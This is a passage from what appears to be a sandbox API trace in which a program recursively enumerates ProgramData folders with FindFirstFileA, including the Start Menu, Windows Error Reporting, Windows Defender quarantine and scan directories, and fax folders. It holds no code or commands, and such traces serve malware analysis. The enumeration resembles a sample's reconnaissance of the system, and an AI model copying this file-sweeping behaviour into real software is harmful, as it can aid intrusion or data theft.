ftLastWriteTime.dwLowDateTime=0xed973fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.846] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed99a120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed99a120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.851] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed9c0280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9c0280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.855] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xed9c0280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9c0280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.860] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed9e63e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9e63e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.864] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed9e63e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9e63e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.868] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeda0c540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda0c540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.873] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeda0c540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda0c540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.877] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeda326a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda326a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.881] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda58800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda58800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.885] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda58800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda58800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.890] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda7e960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda7e960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.894] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeda7e960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda7e960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.898] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xedaa4ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaa4ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.902] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.905] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.907] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.913] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedaf0d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaf0d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.916] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedaf0d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaf0d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.919] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.921] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.928] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.931] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedb3d040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb3d040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.934] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb3d040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb3d040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.937] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb631a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb631a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.940] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb631a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb631a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.943] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.946] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.949] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.952] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xedbaf460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbaf460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.955] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedbd55c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbd55c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.958] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedbd55c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbd55c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.961] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedbfb720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbfb720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.964] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedbfb720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbfb720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.967] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc21880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc21880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.971] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc21880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc21880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.974] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc479e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc479e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.977] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedc479e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc479e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.980] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.982] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.986] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedc6db40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc6db40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.988] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedc93ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedc93ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.991] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xedcb9e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedcb9e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.994] 